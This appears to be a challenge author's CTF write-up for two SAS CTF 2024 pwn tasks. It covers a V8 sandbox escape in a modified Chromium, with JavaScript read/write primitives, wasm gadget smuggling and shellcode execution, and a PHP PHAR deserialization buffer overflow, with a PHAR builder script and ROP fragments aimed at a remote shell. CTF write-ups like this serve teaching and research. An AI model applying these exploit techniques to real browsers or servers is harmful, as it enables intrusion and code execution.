š±āš» SASCTF 2024 Writeups (pwn)
CTF SASCTF writeupsThis year Iāve authored a couple of pwn challenges for the SAS CTF 2024, here are the writeups. Enjoy!
Ćbercaged
Category: pwn
Solves: 7
Description:
Oh, nice, OOB RW, this canāt be tough to exploit, right? Rightā¦?
- We are running modified version of the chromium browser. The challenge is to exploit introduced vulnerability, to read contents of /ubercaged/flag.txt. You can find already prebuilt and symbolized packages in x64.debug and x64.release. On the server we will use x64.release. You can fully reproduce server environment using presented dockerfile (
chall-docker
). Donāt forget, that the container has access to the internet, so if you need, you can send the flag to remote listener.- If you really want to build chromium by yourself you can use provided docker under
build-chromium-docker
.
You can find the full exploit here: pwn.js.
So, we have a modified version of the Chromium browser (120.0.6099.228
), which has an out-of-bounds read/write vulnerability through custom readAt
/writeAt
array methods. A few years ago, that would have given us shellcode execution (almost) right away, but nowadays, itās a bit more complicated. In the latest Chromium versions, a V8 sandbox (ubercage) was introduced, which aims to prevent crafting arbitrary memory read/write primitives by āsandboxingā the JSObject heap. You can read more about it here.
Anyway, letās start hacking.
First of all, letās build the v8h_addrOf
primitive whose purpose is to leak the address of a given object. It is defined as follows:
var compressed_address_extractor = []
// Get the offset of object inside v8's ubercage
function v8h_addrOf(obj) {
compressed_address_extractor[0] = obj;
return compressed_address_extractor.readAt(0).f2i().low();
}
We essentially achieve this primitive for āfreeā as the readAt
function always works with primitive types, so even though weāve saved an object, we can read it as if it was a number.
With this done letās work on v8h_read64
and v8h_write64
primitives. These primitives are constructed as it is usually done in the V8 exploitation world.
// oob read/write arrays it consists of floats, to be able to read/write pointers as floats
var oob_array = [1.1, 2.2, 3.3, 4.4]
// Array whose elements ptr we'll corrupt to achieve caged arb read/write
var rw_array = [1.1, 2.2, 3.3, 4.4]
function v8h_read64(offset) {
// Read the old value and update only the offset part
let updated = (oob_array.readAt(12).f2i() & 0xffffffff00000000n) | offset.tag();
// Backing "caged pointer" of the rw_array
oob_array.writeAt(12, updated.i2f());
return rw_array[0].f2i();
}
function v8h_write64(offset, value) {
// Read the old value and update only the offset part
let updated = (oob_array.readAt(12).f2i() & 0xffffffff00000000n) | offset.tag();
// Backing "caged pointer" of the rw_array
oob_array.writeAt(12, updated.i2f());
rw_array[0] = value.i2f();
}
We define 2 arrays, oob_array
and rw_array
. The oob_array
is used to corrupt the backing store of the rw_array
which essentially allows us to read/write arbitrary memory (inside the sandbox).
Now that this is complete, we finally can work on escaping the Ubercage.
As the Ubercage is still a relatively new feature, not all of the code has been adapted to it. For example, the wasm object still uses some native pointers, that are reachable from the JSObject heap. We can use this to our advantage. One such pointer is the jumptable_ptr
which allows us to achieve 2 things:
- Find the address of the compiled wasm code
- Get the pc control when a new function is called for the first time
Crafting a multishot arb_write64
(uncaged) will require a little bit of work. Weāll start by defining a number of wasm functions.
The first one will be used to āsmuggleā a mov QWORD PTR [rax], rdx
gadget into the liftoff-compiled function code:
(func $arb_write_gadget (export "arb_write_gadget")
(result i64)
i64.const 0x90909090_90108948 ;; mov QWORD PTR [rax], rdx;
)
The second one will be used to achieve one-shot arbitrary write outside the sandbox:
;; We use this function to overwrite the beginning arb_write64 with the arb_write_gadget = mov QWORD PTR [rax], rdx;
(func $arb_write64_one_shot (export "arb_write64_one_shot")
(param $addr i64) ;; Address to write to (rax)
(param $value i64) ;; 64-bit integer to write (rdx)
(result i64)
i64.const 0x90909090_90909090
)
The third one gives us a multi-shot arbitrary write primitive:
;; This one is the multishot version of the previous one
(func $arb_write64 (export "arb_write64")
(param $addr i64) ;; Address to write to (rax)
(param $value i64) ;; 64-bit integer to write (rdx)
(result i64)
i64.const 0x90909090_90909090
)
And finally, the last 2 functions will be used as a shellcode buffer and a shellcode execution trigger:
;; This one is the location where we will write the shellcode
(func $shellcode_buffer (export "shellcode_buffer")
(result i64)
i64.const 0x90909090_90909090
)
;; This function will trigger the shellcode execution
(func (export "exec_shellcode")
nop
)
With this in place, we can move on to the exploitation part.
We start by extracting the value of the jumptable_ptr
and calculating the offsets of interest:
const JUMP_TABLE_PTR_OFF = 0x40n;
let jumptable_ptr = v8h_read64(wasm_instance_offset + JUMP_TABLE_PTR_OFF);
// Offsets inside the compiled wasm code.
const ARB_WRITE64_ONE_SHOT_OFF = 0xb80n;
const ARB_WRITE64_GADGET_OFF = ARB_WRITE64_ONE_SHOT_OFF + 0x1an;
const ARB_WRITE64_OFF = 0xc00n;
const ARB_WRITE64_INSTR_TO_OVERWRITE_OFF = ARB_WRITE64_OFF + 0x18n;
const SHELLCODE_BUFFER_OFF = 0xc80n;
// Address of the "smuggled" gadget
let arb_write64_gadget_addr = jumptable_ptr + ARB_WRITE64_GADGET_OFF;
// Address of the instruction inside the `arb_write64` function that we want to overwrite with the `mov QWORD PTR [rax], rdx;` instruction
let arb_write64_instr_to_overwrite_addr = jumptable_ptr + ARB_WRITE64_INSTR_TO_OVERWRITE_OFF;
// Address of the shellcode buffer
let shellcode_buffer_addr = jumptable_ptr + SHELLCODE_BUFFER_OFF;
Next, weāll invoke the smuggled gadget by overwriting the jumptable_ptr
with the address of the gadget, and calling the arb_write64_one_shot
function. The parameters for this call are the address of the instruction inside the arb_write64
we want to overwrite and the value of the gadget. We know that the first parameter will be passed in rax
, and the second one in rdx
.
As a result of this operation, the arb_write64
function will be overwritten with the mov QWORD PTR [rax], rdx;
instruction, essentially giving us arbitrary write primitive.
v8h_write64(wasm_instance_offset + JUMP_TABLE_PTR_OFF, arb_write64_gadget_addr - 5n);
arb_write64_one_shot(arb_write64_instr_to_overwrite_addr, 0x9090909090108948n);
Near the end, we can use newly crafted arb_write64
primitive to write the shellcode to the shellcode_buffer
:
let shellcode = [
...
]
shellcode.forEach((value, index) => {
arb_write64(shellcode_buffer_addr + BigInt(index * 8), value);
});
And finally, we can trigger the shellcode execution:
// Jump to the shellcode
v8h_write64(wasm_instance_offset + JUMP_TABLE_PTR_OFF, shellcode_buffer_addr - 5n);
exec_shellcode();
Which will give us the flag: SAS{w1th_gr34t_p0wer_n0_mitig4t1on_c4n_b3_4_pr0bl3m}
N.B. In the challenge Iāve purposefully set the V8_HAS_PKU_JIT_WRITE_PROTECT
to 0
, as PKU complicates exploitation process by actually making the memory mappings W^X, utilizing pkey_mprotect
. You can read more about it here.
Challenge References
- High-level design of the V8 sandbox: V8 Sandbox (aka. Ubercage)
- Example of a sandbox bypass: Google Chrome V8 CVE-2024-0517 Out-of-Bounds Write Code Execution
- About the Sandbox: Abusing Liftoff assembly and efficiently escaping from sbx
- Challenge sources: pwn-ubercaged
Download Moment 3
The second challenge Iāve worked on was a combination of web and binary exploitation. Iāve contributed to the third stage of the challenge. The task was to exploit an unsafe phar deserialization that leads to classical BOF.
For a full writeup - check this: web-download-moment, here Iāll focus on my part.
Category: pwn
Solves: 1
Description:Reuben Pohpid is a well known Silicon Valley entrepreneur. This is his new magnum opus - free of charge anonymous file sharing service. Donāt hesitate and try it out!
This task is a further exploitation of Part 2. Solve it first before coming back.
At this point weāve got the ability to read arbitrary files on the system. Unfortunately, thatās not enough to get the last flag. To get it, we need to find a way to execute arbitrary code on the server and run the /flag
binary.
-
Interestingly, while studying the source code we can see some references to FileHoover class that has no PHP source. Checking the
/proc/self/maps
file we can see that there is an extension loaded - filehoover.so. -
Downloading it, and doing some basic re, we can see that this is a custom written helper extension that performs periodic file cleanups. Whatās interesting,
checksec
says that the stack canary is disabled. From this we can guess that the extension is vulnerable to buffer overflow. -
Doing some audit of the extension, we find that there is seemingly vulnerable call to
memcpy
inside the__toString()
method:zval* directory = READ_PROPERTY("directory"); // Copy string to local buffer char local_buffer[2048] = { 0 }; memcpy(local_buffer, Z_STRVAL_P(directory), Z_STRLEN_P(directory));
-
It extracts the
directory
property from the object, and copies it to the local buffer of 2048 bytes. This is a classic buffer overflow vulnerability, as both the length and the content of thedirectory
property are controlled by the user. So, by creating theFileHoover
object with the directory name that exceeds the 2048 bytes limit it is possible to trigger the bug and get the control over the RIP. -
Thatās all great, but. How to actually trigger the vulnerable code path? Here we should remember about the PHAR deserialization vulnerability. We can create a PHAR archive with the serialized
FileHoover
object and send it to the server. The server will deserialize the object and trigger the__wakeup()
method, which in turn calls the__toString()
method and triggers the buffer overflow. -
To break the ASLR, we can once again check the
/proc/self/maps
as between php-fpm forks the memory layout is preserved. -
Finally, having all the pieces together. We can create the PHAR archive that has a rop-chain that spawns the remote shell. To do so, we could do something like that:
#!/usr/bin/env -S php --define phar.readonly=0 <?php if ($argc < 3) { echo "Usage: php create_phar.php <phar archive name> <FileHoover payload (hex)>\n"; exit(1); } class FileHoover { public $directory = null; public function __construct($directory) { $this->directory = $directory; } } $fileHoover = new FileHoover(hex2bin($argv[2])); $phar = new Phar($argv[1]); $phar->startBuffering(); $phar->addFromString("test.txt", "text"); $phar->setStub("\n<?php echo __HALT_COMPILER(); ?>"); $phar->setMetadata($fileHoover); $phar->stopBuffering();
-
The ropchain itself simply copies the shellcode to the heap, does the
mprotect
call, and jumps to it.
N.B. While doing the return from PHP_METHOD
, it will corrupt part of the ropchain, for this reason we skip the problematic part of the chain:
# Skip part of the stack that get corrupted while returning from PHP_METHOD
rop_chain += p64(libc_base + ADD_RSP_X148_RET)
rop_chain += b"B" * 0x148
rop_chain += p64(libc_base + ADD_RSP_X148_RET)
rop_chain += b"C" * 0x148
Running the exploit will give us the flag: SAS{c_4lways_4dds_som3_sp1ciness_t0_the_w3b_dev_do3snt_1t}
Challenge References
- Vulnerable extension source: filehoover.c
So, thatās it. Hope it was interesting :)
References
- GitHub: sasctf-quals-2024
- CTF Website: ctf.thesascon.com
- CTF Time: SAS CTF 2024 Quals